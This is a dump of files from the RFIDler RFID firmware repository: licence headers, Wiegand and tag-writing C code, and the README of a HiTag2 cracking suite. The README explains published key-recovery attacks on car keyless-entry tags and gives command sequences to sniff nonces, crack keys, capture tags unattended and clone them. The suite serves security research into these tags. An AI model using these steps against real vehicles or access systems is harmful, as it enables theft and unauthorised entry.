* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "util.h"
#include "wiegand.h"
#include "comms.h"
// learn wiegand timings
BOOL learn_wiegand(BYTE trigger)
{
// trigger external reader (set debug pin low)
if(trigger)
{
switch(trigger)
{
case 1:
DEBUG_PIN_1= DEBUG_PIN_ON;
break;
case 2:
DEBUG_PIN_2= DEBUG_PIN_ON;
break;
case 3:
DEBUG_PIN_3= DEBUG_PIN_ON;
break;
case 4:
DEBUG_PIN_4= DEBUG_PIN_ON;
break;
default:
return FALSE;
}
}
RFIDlerConfig.Wiegand_IdleState= WIEGAND_IN_0;
// wait for 1st pulse
while(WIEGAND_IN_0 == RFIDlerConfig.Wiegand_IdleState && WIEGAND_IN_1 == RFIDlerConfig.Wiegand_IdleState)
if(get_user_abort())
return FALSE;
//DEBUG_PIN_4= !DEBUG_PIN_4;
// start measuring pulse
GetTimer_us(RESET);
// store bit
if(WIEGAND_IN_0 != RFIDlerConfig.Wiegand_IdleState)
DataBuff[DataBuffCount++]= '0';
else
DataBuff[DataBuffCount++]= '1';
// wait for pulse to end
while(WIEGAND_IN_0 != RFIDlerConfig.Wiegand_IdleState || WIEGAND_IN_1 != RFIDlerConfig.Wiegand_IdleState)
if(get_user_abort())
return FALSE;
//DEBUG_PIN_4= !DEBUG_PIN_4;
// read pulse length and start measuring gap
RFIDlerConfig.Wiegand_Pulse= GetTimer_us(RESET);
// wait for next pulse
while(WIEGAND_IN_0 == RFIDlerConfig.Wiegand_IdleState && WIEGAND_IN_1 == RFIDlerConfig.Wiegand_IdleState)
if(get_user_abort())
return FALSE;
//DEBUG_PIN_4= !DEBUG_PIN_4;
// read gap length
RFIDlerConfig.Wiegand_Gap= GetTimer_us(RESET);
// store bit
if(WIEGAND_IN_0 != RFIDlerConfig.Wiegand_IdleState)
DataBuff[DataBuffCount++]= '0';
else
DataBuff[DataBuffCount++]= '1';
// wait for pulse to end
while(WIEGAND_IN_0 != RFIDlerConfig.Wiegand_IdleState || WIEGAND_IN_1 != RFIDlerConfig.Wiegand_IdleState)
if(get_user_abort())
return FALSE;
// read the rest of the burst
read_wiegand(NO_TRIGGER);
if(Interface == INTERFACE_CLI)
{
UserMessageNum(" Wiegand pulse width: %d\r\n", RFIDlerConfig.Wiegand_Pulse);
UserMessageNum(" uS gap: %d\r\n", RFIDlerConfig.Wiegand_Gap);
UserMessageNum(" uS bit period: %d uS\r\n", RFIDlerConfig.Wiegand_Pulse + RFIDlerConfig.Wiegand_Gap);
}
if(trigger)
{
switch(trigger)
{
case 1:
DEBUG_PIN_1= DEBUG_PIN_OFF;
break;
case 2:
DEBUG_PIN_2= DEBUG_PIN_OFF;
break;
case 3:
DEBUG_PIN_3= DEBUG_PIN_OFF;
break;
case 4:
DEBUG_PIN_4= DEBUG_PIN_OFF;
break;
default:
return FALSE;
}
}
return TRUE;
}
BOOL read_wiegand(BYTE trigger)
{
unsigned int timeout;
// trigger external reader (set debug pin low)
if(trigger)
{
switch(trigger)
{
case 1:
DEBUG_PIN_1_TOGGLE();
break;
case 2:
DEBUG_PIN_2_TOGGLE();
break;
case 3:
DEBUG_PIN_3_TOGGLE();
break;
case 4:
DEBUG_PIN_4_TOGGLE();
break;
default:
return FALSE;
}
}
timeout= (RFIDlerConfig.Wiegand_Pulse + RFIDlerConfig.Wiegand_Gap) * 2L;
// wait for the first pulse
DataBuff[DataBuffCount++]= read_wiegand_bit(0);
while(42)
{
DataBuff[DataBuffCount]= read_wiegand_bit(timeout);
if (DataBuff[DataBuffCount] == '\0')
break;
DataBuffCount++;
}
if(trigger)
{
switch(trigger)
{
case 1:
DEBUG_PIN_1_TOGGLE();
break;
case 2:
DEBUG_PIN_2_TOGGLE();
break;
case 3:
DEBUG_PIN_3_TOGGLE();
break;
case 4:
DEBUG_PIN_4_TOGGLE();
break;
default:
return FALSE;
}
}
return TRUE;
}
unsigned char read_wiegand_bit(unsigned int timeout)
{
unsigned int time;
unsigned char tmp;
// reset timer
GetTimer_us(RESET);
// wait for pulse or timeout if required
while(WIEGAND_IN_0 == RFIDlerConfig.Wiegand_IdleState && WIEGAND_IN_1 == RFIDlerConfig.Wiegand_IdleState)
{
time= GetTimer_us(NO_RESET);
if(timeout && time > timeout)
return '\0';
if(get_user_abort())
return '\0';
}
if (WIEGAND_IN_0 != RFIDlerConfig.Wiegand_IdleState)
tmp = '0';
else
tmp= '1';
// wait for pulse to end
while(WIEGAND_IN_0 != RFIDlerConfig.Wiegand_IdleState || WIEGAND_IN_1 != RFIDlerConfig.Wiegand_IdleState)
;
return tmp;
}
BOOL write_wiegand(BYTE *data)
{
while(*data)
{
if(!write_wiegand_bit(*data))
return TRUE;
++data;
}
return FALSE;
}
// TODO: write_wiegand_uid
// send wiegad data appropriate to the tag
// uid is human readable HEX
BOOL write_wiegand_uid(BYTE *uid)
{
if(WiegandOutput)
return TRUE;
return TRUE;
}
BOOL write_wiegand_bit(BYTE thisbit)
{
if(! RFIDlerConfig.Wiegand_Pulse || ! RFIDlerConfig.Wiegand_Gap)
return FALSE;
// reset timer
GetTimer_us(RESET);
// send bit
if(thisbit == '0')
WIEGAND_OUT_0= !RFIDlerConfig.Wiegand_IdleState;
else
WIEGAND_OUT_1= !RFIDlerConfig.Wiegand_IdleState;
while(GetTimer_us(NO_RESET) < RFIDlerConfig.Wiegand_Pulse)
;
WIEGAND_OUT_0= RFIDlerConfig.Wiegand_IdleState;
WIEGAND_OUT_1= RFIDlerConfig.Wiegand_IdleState;
// send gap
GetTimer_us(RESET);
while(GetTimer_us(NO_RESET) < RFIDlerConfig.Wiegand_Gap)
;
return TRUE;
}
// simple test for wiegand pin loopback
BOOL wiegand_test(void)
{
wiegand_out_enable();
WIEGAND_OUT_0= LOW;
WIEGAND_OUT_1= HIGH;
if(WIEGAND_IN_0 != LOW || WIEGAND_IN_1 != HIGH)
return FALSE;
WIEGAND_OUT_0= HIGH;
WIEGAND_OUT_1= LOW;
if(WIEGAND_IN_0 != HIGH || WIEGAND_IN_1 != LOW)
return FALSE;
return TRUE;
}
// add HID parity to binary array: EVEN prefix for 1st half of ID, ODD suffix for 2nd half
void wiegand_add_parity(unsigned char *target, unsigned char *source, unsigned char length)
{
*(target++)= parity(source, EVEN, length / 2);
memcpy(target, source, length);
target += length;
*(target)= parity(source + length / 2, ODD, length / 2);
}
// disable wiegand output pins by setting them to inputs (needed for hardware test rig)
void wiegand_out_disable(void)
{
WIEGAND_OUT_0_TRIS= INPUT_PIN;
WIEGAND_OUT_1_TRIS= INPUT_PIN;
WiegandOutput= FALSE;
}
// enable wiegand output pins and set to default state
void wiegand_out_enable(void)
{
WIEGAND_OUT_0_TRIS= OUTPUT_PIN;
WIEGAND_OUT_1_TRIS= OUTPUT_PIN;
WIEGAND_OUT_0= WIEGAND_IN_0;
WIEGAND_OUT_1= WIEGAND_IN_1;
WiegandOutput= TRUE;
}
// enable or disable weak pullups on wiegand read pins.
// note these may not be strong enough for some readers,
// so external pullups may need to be used.
void wiegand_set_pullups(BOOL state)
{
// WIEGAND_IN_0_PULLDOWN= !state;
// WIEGAND_IN_1_PULLDOWN= !state;
WIEGAND_IN_0_PULLUP= state;
WIEGAND_IN_1_PULLUP= state;
}
// this device does not seem to support pull-downs(!)
//// enable or disable weak pulldowns on wiegand read pins
//void wiegand_set_pulldowns(BOOL state)
//{
// WIEGAND_IN_0_PULLUP= !state;
// WIEGAND_IN_1_PULLUP= !state;
// WIEGAND_IN_0_PULLDOWN= state;
// WIEGAND_IN_1_PULLDOWN= state;
//}
================================================
FILE: firmware/Pic32/RFIDler.X/src/write.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "write.h"
#include "hitag.h"
#include "q5.h"
#include "t55x7.h"
BOOL write_tag(unsigned int block, BYTE *data, BOOL verify)
{
BYTE ret= FALSE, i;
for(i= 0 ; i < TAG_WRITE_RETRY ; ++i)
{
switch(RFIDlerConfig.TagType)
{
case TAG_TYPE_EM4X05:
ret= em4x05_write_word((BYTE) block, data, verify);
break;
case TAG_TYPE_HITAG1:
ret= hitag1_write_page((BYTE) block, data);
break;
case TAG_TYPE_HITAG2:
ret= hitag2_write_page((BYTE) block, data);
break;
case TAG_TYPE_Q5:
ret= q5_write_block((BYTE) block, data, NO_LOCK, verify);
break;
case TAG_TYPE_T55X7:
ret= t55x7_write_block((BYTE) block, data, NO_LOCK, verify);
break;
default:
break;
}
if (ret)
return TRUE;
}
return FALSE;
}
================================================
FILE: hitag2crack/README
================================================
HiTag2 Cracking Suite
---------------------
Author: Kevin Sheldrake
Introduction
------------
These tools are implementations of the four attacks detailed in the papers,
Gone In 360 Seconds - Hijacking With HiTag 2 by Roel Verdult, Flavio Garcia
and Josep Balasch, and Lock It And Still Lose It - on the (In)Security of
Automotive Remote Keyless Entry Systems by Flavio Garcia, David Oswald,
Timo Kasper and Pierre Pavlides. The first three attacks come from the first
paper and the fourth attack comes from the second paper.
Attack 1
--------
Attack 1 is a nonce replay and length extension attack. This is an attack on
a single HiTag2 RFID tag, given a single encrypted nonce and challenge
response value pair (nR, aR) for the tag's UID. The attack runs entirely on
the RFIDler with it acting like a RWD that replays the same encrypted nonce
and challenge response pair for every interaction; this fixes the key stream
that the tag's PRNG outputs to the same stream for every interaction.
By brute forcing a subset of the encrypted command space, the RFIDler finds a
single valid encrypted command - invalid commands return a known unencrypted
error response so finding a valid one is simply a case of trying different
values until a response other than the error response is received.
It then bit flips the valid encrypted command to find the other 15 valid
encrypted commands. By knowing the contents of page 0 - it's the UID that
is presented in clear at the start of each interaction - it tries each
encrypyted response in turn, assuming each to be the encrypted version of
'read page 0 non-inverted' and each response to be the encrypted version of
page 0.
For each attempted command, it calculates the key stream that would have
correctly generated the encrypted command and response:
command ++ response XOR key stream = encrypted command ++ encrypted response
therefore:
key stream = command ++ response XOR encrypted command ++ encrypted response
It then tests the potentially recovered key stream by creating an encrypted
command that consumes as much of it as possible, re-initialising with the same
encrypyted nonce and challenge response pair (to set the key stream to the
same stream as that which produced the encrypted command response it is
testing), and then sending this extended encrypted command. If the response
is not the error response, then the key stream is valid and the response is
the encryption of the page 0 contents (the UID).
When one of the valid encrypted commands satisfies this situation, the
recovered key stream must be the output of the PRNG for the given encrypted
nonce and challenge response pair.
The RFIDler then uses this key stream to encrypt commands and decrypt the
responses, and therefore requests the contents of all 8 pages. Pages 1 and 2
contain the encryption key.
Attack 2
--------
Attack 2 is a time/space trade off to recover the key for situations where the
tag has been configured to prevent reading of pages 1 and 2. This attack uses
a pre-computed table of 2^37 PRNG states and resultant PRNG output, sorted on
the PRNG output. The RFIDler is used to recover 2048 bits of key stream using
a modification of attack 1 and this is used to search the table for matching
PRNG output. When the output is found, it is tested for validity (by testing
previous or following PRNG output) and then the PRNG state is rolled back to
the initialisation state, from which the unecrypted nonce and key can be
recovered.
Attack 3
--------
Attack 3 is a cryptanalytic attack that focuses on the RWD and a bias in the
PRNG output. By capturing 136 encrypted nonce and challenge response pairs,
candidates for the first 34 bits of the key can be identified, and for each
the remaining 14 bits can be brute forced.
Attack 4
--------
Attack 4 is a fast correlative attack on the key based on a number of captured
encrypted nonce and challenge response pairs (up to 32, but 16 usually
sufficient). It starts by guessing the first 16 bits of the key and scores
all these guesses against how likely they are to be the correct key, given the
encrypted nonces and the keystream they should produce. Each guess is then
expanded by 1 bit and the process iterates, with only the best guesses taken
forward to the next iteration.
Usage details
-------------
Attack 1 requires a valid tag and a valid encrypted nonce and challenge
response pair. The attacker needs to obtain a valid tag and then use this to
obtain a valid encrypted nonce and challenge response pair. This can be
acheived by using the RFIDler 'SNIFF-PWM S' command (having previously cleared
the nonce storage with 'SNIFF-PWM C'), placing the coil on the RWD and
presenting the valid tag. The encrypted nonce and challenge response pairs
can then be read out with the 'SNIFF-PWM L' command. These values can then
be used to attack the tag with 'HITAG2-CRACK '.
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM C
RFIDler: SNIFF-PWM S
Capture encrypted nonce and challenge response pair (nR, aR).
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM L
RFIDler: HITAG2-CRACK
Attack 2 requires the same resources as attack 1, plus a pre-computed table.
The table can be generated on a disk with >1.5TB of storage, although it takes
some time (allow a couple of days).
./ht2crack2buildtable
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM C
RFIDler: SNIFF-PWM S
Capture encrypted nonce and challenge response pair (nR, aR).
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM L
RFIDler: UID
RFIDler: HITAG2-KEYSTREAM
Copy/paste the key stream to a file.
./ht2crack2search
Attack 3 requires only interaction with the RWD and does not require a valid
tag, although it does require a HiTag2 tag that the RWD will initially respond
to; e.g. you could potentially use any HiTag2 tag as long as the RWD starts
the crypto handshake with it. It requires >=136 encrypted nonce and challenge
response pairs for the same tag UID.
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM C
RFIDler: SNIFF-PWM S
Capture >=136 encrypted nonce and challenge response pairs (nR, aR).
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM L
RFIDler: UID
Copy/paste the encrypted nonce and challenge response pairs into a file.
./ht2crack3
Attack 4 requires the same information as attack 3, but only 16-32 encrypted
nonce and challenge response pairs are required.
./ht2crack4 -u -n [-N ]
[-t
]
Start with -N 16 and -t 500000. If the attack fails to find the key, double
the table size and try again, repeating if it still fails.
Once the key has been recovered using one of these attacks, the RFIDler can
be configured to operate as a RWD and will capture tags using that key.
RFIDler: SET TAG HITAG2
RFIDler: HITAG2-READER
Both the SNIFF-PWM and HITAG2-READER commands can be used as AUTORUN commands
for when the RFIDler is powered from a USB power supply without interaction.
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM C
RFIDler: AUTORUN SNIFF-PWM S
RFIDler: SAVE
Capture encrypted nonce and challenge response pairs.
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM L
RFIDler: SET TAG HITAG2
RFIDler: HITAG2-CLEARSTOREDTAGS
RFIDler: AUTORUN HITAG2-READER S
RFIDler: SAVE
Capture tags.
RFIDler: HITAG2-COUNTSTOREDTAGS
RFIDler: HITAG2-LISTSTOREDTAGS [START] [END]
Tags can be copied with standard RFIDler commands.
RFIDler: SET TAG HITAG2
RFIDler: COPY
RFIDler: VTAG
Replace original tag with a blank tag.
RFIDler: CLONE
OR:
RFIDler: SET TAG HITAG2
RFIDler: SET VTAG HITAG2
RFIDler: VWRITE 0
RFIDler: VWRITE 1
...
RFIDler: VWRITE 7
RFIDler: VTAG
Place blank tag on coil.
RFIDler: CLONE
OR:
RFIDler: SET TAG HITAG2
RFIDler: SET VTAG HITAG2
RFIDler: VWRITE 0
RFIDler: VTAG
Place blank tag on coil.
RFIDler: CLONE
================================================
FILE: hitag2crack/crack2/HardwareProfile.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#ifndef HARDWARE_PROFILE_UBW32_H
#define HARDWARE_PROFILE_UBW32_H
//#include "plib.h"
typedef char BOOL;
typedef char BYTE;
typedef int rtccTime;
typedef int rtccDate;
#ifndef __PIC32MX__
#define __PIC32MX__
#endif
#define GetSystemClock() (80000000ul)
#define GetPeripheralClock() (GetSystemClock())
#define GetInstructionClock() (GetSystemClock())
//#define USE_SELF_POWER_SENSE_IO
#define tris_self_power TRISAbits.TRISA2 // Input
#define self_power 1
//#define USE_USB_BUS_SENSE_IO
#define tris_usb_bus_sense TRISBbits.TRISB5 // Input
#define USB_BUS_SENSE 1
// LEDs
#define mLED_1 LATEbits.LATE3
#define mLED_2 LATEbits.LATE2
#define mLED_Comms mLED_2
#define mLED_3 LATEbits.LATE1
#define mLED_Clock mLED_3
#define mLED_4 LATEbits.LATE0
#define mLED_Emulate mLED_4
#define mLED_5 LATGbits.LATG6
#define mLED_Read mLED_5
#define mLED_6 LATAbits.LATA15
#define mLED_User mLED_6
#define mLED_7 LATDbits.LATD11
#define mLED_Error mLED_7
// active low
#define mLED_ON 0
#define mLED_OFF 1
#define mGetLED_1() mLED_1
#define mGetLED_USB() mLED_1
#define mGetLED_2() mLED_2
#define mGetLED_Comms() mLED_2
#define mGetLED_3() mLED_3
#define mGetLED_Clock() mLED_3
#define mGetLED_4() mLED_4
#define mGetLED_Emulate() mLED_4
#define mGetLED_5() mLED_5
#define mGetLED_Read() mLED_5
#define mGetLED_6() mLED_6
#define mGetLED_User() mLED_6
#define mGetLED_7() mLED_7
#define mGetLED_Error() mLED_7
#define mLED_1_On() mLED_1 = mLED_ON
#define mLED_USB_On() mLED_1_On()
#define mLED_2_On() mLED_2 = mLED_ON
#define mLED_Comms_On() mLED_2_On()
#define mLED_3_On() mLED_3 = mLED_ON
#define mLED_Clock_On() mLED_3_On()
#define mLED_4_On() mLED_4 = mLED_ON
#define mLED_Emulate_On() mLED_4_On()
#define mLED_5_On() mLED_5 = mLED_ON
#define mLED_Read_On() mLED_5_On()
#define mLED_6_On() mLED_6 = mLED_ON
